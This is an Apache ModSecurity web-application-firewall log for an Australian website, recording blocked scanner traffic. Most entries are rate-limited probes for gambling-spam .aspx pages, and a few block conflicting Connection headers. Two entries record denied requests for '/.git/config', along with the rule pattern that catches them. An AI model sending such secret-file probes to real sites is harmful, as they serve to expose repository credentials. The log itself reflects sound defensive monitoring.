[Sun Feb 15 02:45:21.396691 2026] [:error] [pid 18113:tid 18132] [client 193.70.33.35:51860] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZDCwbtXQ3sVVSAsCgi4gAAAAlA"]
[Sun Feb 15 02:45:23.737805 2026] [:error] [pid 27914:tid 27928] [client 193.70.33.35:51870] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZDCw2g-VFWLX9KNz8gMZgAAA0k"]
[Sun Feb 15 02:45:26.223663 2026] [:error] [pid 28511:tid 28534] [client 193.70.33.35:60124] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZDCxhZ3wyYJRs97ghp2yQAAARQ"]
[Sun Feb 15 02:45:47.214825 2026] [:error] [pid 27856:tid 27861] [client 193.70.33.35:60138] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZDC2zJpKS0cu-96viCwpAAAAoI"]
[Sun Feb 15 02:45:49.637310 2026] [:error] [pid 43945:tid 44104] [client 193.70.33.35:53492] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZDC3QOG1NkcLbix8XUCRwAAAgU"]
[Sun Feb 15 02:45:51.956929 2026] [:error] [pid 18113:tid 18122] [client 193.70.33.35:53494] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZDC37tXQ3sVVSAsCgi4nQAAAkY"]
[Sun Feb 15 02:45:54.430361 2026] [:error] [pid 43945:tid 44107] [client 193.70.33.35:53496] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZDC4gOG1NkcLbix8XUCUQAAAgg"]
[Sun Feb 15 02:45:56.763172 2026] [:error] [pid 27914:tid 27940] [client 193.70.33.35:51806] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZDC5Gg-VFWLX9KNz8gMmwAAA1U"]
[Sun Feb 15 02:45:59.229533 2026] [:error] [pid 28511:tid 28523] [client 193.70.33.35:51808] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZDC5xZ3wyYJRs97ghp24AAAAQk"]
[Sun Feb 15 02:46:01.542731 2026] [:error] [pid 27856:tid 27878] [client 193.70.33.35:51812] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZDC6TJpKS0cu-96viCwqQAAApM"]
[Sun Feb 15 02:46:04.041297 2026] [:error] [pid 27826:tid 27848] [client 193.70.33.35:51826] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZDC7H_xMalPt3dvDTEDrwAAAJQ"]
[Sun Feb 15 02:46:06.376045 2026] [:error] [pid 18113:tid 18127] [client 193.70.33.35:48048] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZDC7rtXQ3sVVSAsCgi4pQAAAks"]
[Sun Feb 15 02:46:08.850734 2026] [:error] [pid 27914:tid 27932] [client 193.70.33.35:48050] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZDC8Gg-VFWLX9KNz8gMoQAAA00"]
[Sun Feb 15 02:46:11.168190 2026] [:error] [pid 27857:tid 27900] [client 193.70.33.35:48060] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZDC8-kzAtElXai-Nn8VRAAAAw4"]
[Sun Feb 15 02:46:13.469400 2026] [:error] [pid 27914:tid 27926] [client 193.70.33.35:48066] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZDC9Wg-VFWLX9KNz8gMpQAAA0c"]
[Sun Feb 15 02:46:15.948990 2026] [:error] [pid 27914:tid 27921] [client 193.70.33.35:36900] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZDC92g-VFWLX9KNz8gMqAAAA0I"]
[Sun Feb 15 02:46:18.298535 2026] [:error] [pid 27856:tid 27868] [client 193.70.33.35:36914] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZDC-jJpKS0cu-96viCwsQAAAok"]
[Sun Feb 15 02:46:20.768423 2026] [:error] [pid 28511:tid 28538] [client 193.70.33.35:36922] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZDC_BZ3wyYJRs97ghp29AAAARg"]
[Sun Feb 15 02:46:23.067798 2026] [:error] [pid 27826:tid 27830] [client 193.70.33.35:36938] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZDC_3_xMalPt3dvDTEDugAAAII"]
[Sun Feb 15 02:46:25.560703 2026] [:error] [pid 43767:tid 43854] [client 193.70.33.35:36944] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZDDAfWe69hyh5fD07iaeAAAAVI"]
[Sun Feb 15 02:52:44.709806 2026] [:error] [pid 15954:tid 15996] [client 43.159.152.4:52844] [client 43.159.152.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZDEfO2YplA3pz7MAbWVowAAAcw"]
[Sun Feb 15 10:09:18.006977 2026] [:error] [pid 42753:tid 42810] [client 51.75.119.112:40670] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZEqzghQMLzszrBLG6ekfgAAA5c"]
[Sun Feb 15 10:09:20.479484 2026] [:error] [pid 35497:tid 35530] [client 51.75.119.112:51548] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZEq0MyqpfYzoxiskhsRWQAAAMM"]
[Sun Feb 15 10:09:22.868446 2026] [:error] [pid 19652:tid 19656] [client 51.75.119.112:38364] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZEq0jHg2T9K5fiyOL-GYAAAAAI"]
[Sun Feb 15 16:47:17.978000 2026] [:error] [pid 19652:tid 19673] [client 43.133.220.37:50458] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZGIFTHg2T9K5fiyOL_dfAAAABM"]
[Sun Feb 15 17:55:23.515494 2026] [:error] [pid 35560:tid 35635] [client 43.155.188.157:35156] [client 43.155.188.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZGYCwZSChHPc3occZ43xQAAAxI"]
[Sun Feb 15 19:40:50.195478 2026] [:error] [pid 19652:tid 19662] [client 170.64.150.166:41078] [client 170.64.150.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aZGwwjHg2T9K5fiyOL8Q6AAAAAg"]
[Sun Feb 15 19:40:51.715391 2026] [:error] [pid 42754:tid 42818] [client 170.64.150.166:35832] [client 170.64.150.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aZGww-iCZrZWT4BVy13fXwAAA8Q"]
[Sun Feb 15 20:13:36.929168 2026] [:error] [pid 35557:tid 35586] [client 147.135.214.103:45200] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZG4cMI4REuGME4xEbNQQAAAAlc"]
[Sun Feb 15 20:13:39.380382 2026] [:error] [pid 35560:tid 35635] [client 147.135.214.103:46622] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZG4cwZSChHPc3occZ5OVAAAAxI"]
[Sun Feb 15 20:13:41.788827 2026] [:error] [pid 35560:tid 35619] [client 147.135.214.103:46626] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZG4dQZSChHPc3occZ5OVwAAAwI"]
[Sun Feb 15 20:13:44.201426 2026] [:error] [pid 19652:tid 19656] [client 147.135.214.103:40224] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZG4eDHg2T9K5fiyOL8ZigAAAAI"]
[Sun Feb 15 20:13:46.573266 2026] [:error] [pid 42659:tid 42664] [client 147.135.214.103:40238] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZG4euy3JGHOB-Rj_FaQZwAAAEM"]
[Sun Feb 15 20:13:49.018781 2026] [:error] [pid 19652:tid 19673] [client 147.135.214.103:40252] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZG4fTHg2T9K5fiyOL8ZjwAAABM"]
[Sun Feb 15 20:13:51.354675 2026] [:error] [pid 35560:tid 35619] [client 147.135.214.103:40256] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZG4fwZSChHPc3occZ5OYAAAAwI"]
[Sun Feb 15 20:13:53.956035 2026] [:error] [pid 35497:tid 35539] [client 147.135.214.103:36592] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZG4gcyqpfYzoxiskhuR8gAAAMw"]
[Sun Feb 15 20:13:56.238662 2026] [:error] [pid 31679:tid 31729] [client 147.135.214.103:36604] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZG4hBz9Q_0Eh7M-Xr3JRAAAAhQ"]
[Sun Feb 15 20:13:58.673879 2026] [:error] [pid 14577:tid 14592] [client 147.135.214.103:36620] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZG4hnTqrkuce6u39HtIbgAAAQw"]
[Sun Feb 15 20:14:01.036622 2026] [:error] [pid 14577:tid 14600] [client 147.135.214.103:36632] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZG4iXTqrkuce6u39HtIcwAAARQ"]
[Sun Feb 15 20:14:03.394714 2026] [:error] [pid 31679:tid 31724] [client 147.135.214.103:36634] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZG4ixz9Q_0Eh7M-Xr3JTwAAAg8"]
[Sun Feb 15 20:14:05.680668 2026] [:error] [pid 42754:tid 42822] [client 147.135.214.103:44140] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZG4jeiCZrZWT4BVy13kCQAAA8g"]
[Sun Feb 15 20:14:07.980688 2026] [:error] [pid 35557:tid 35585] [client 147.135.214.103:44142] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZG4j8I4REuGME4xEbNQRAAAAlY"]
[Sun Feb 15 20:14:10.467275 2026] [:error] [pid 42752:tid 42781] [client 147.135.214.103:44146] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZG4ksClY05C-Gq9l0hpwQAAAtY"]
[Sun Feb 15 20:14:12.920660 2026] [:error] [pid 31679:tid 31716] [client 147.135.214.103:44154] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZG4lBz9Q_0Eh7M-Xr3JXgAAAgc"]
[Sun Feb 15 20:14:15.209832 2026] [:error] [pid 14577:tid 14592] [client 147.135.214.103:58498] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZG4l3Tqrkuce6u39HtIfQAAAQw"]
[Sun Feb 15 20:14:17.621657 2026] [:error] [pid 19652:tid 19673] [client 147.135.214.103:58500] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZG4mTHg2T9K5fiyOL8ZvAAAABM"]
[Sun Feb 15 20:14:20.062411 2026] [:error] [pid 31679:tid 31713] [client 147.135.214.103:58512] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZG4nBz9Q_0Eh7M-Xr3JYwAAAgQ"]
[Sun Feb 15 20:14:22.454701 2026] [:error] [pid 19652:tid 19665] [client 147.135.214.103:58528] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZG4njHg2T9K5fiyOL8ZxwAAAAs"]
[Sun Feb 15 20:14:24.882075 2026] [:error] [pid 35560:tid 35617] [client 147.135.214.103:43026] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZG4oAZSChHPc3occZ5ObgAAAwA"]
[Sun Feb 15 20:14:27.296826 2026] [:error] [pid 35557:tid 35575] [client 147.135.214.103:43030] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZG4o8I4REuGME4xEbNQUwAAAkw"]
[Sun Feb 15 20:14:29.706415 2026] [:error] [pid 35497:tid 35537] [client 147.135.214.103:43032] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZG4pcyqpfYzoxiskhuSCwAAAMo"]
[Sun Feb 15 20:14:32.076536 2026] [:error] [pid 19652:tid 19670] [client 147.135.214.103:43046] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZG4qDHg2T9K5fiyOL8Z0AAAABA"]
[Sun Feb 15 20:14:34.500980 2026] [:error] [pid 42659:tid 42661] [client 147.135.214.103:44308] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZG4quy3JGHOB-Rj_FaQiwAAAEA"]
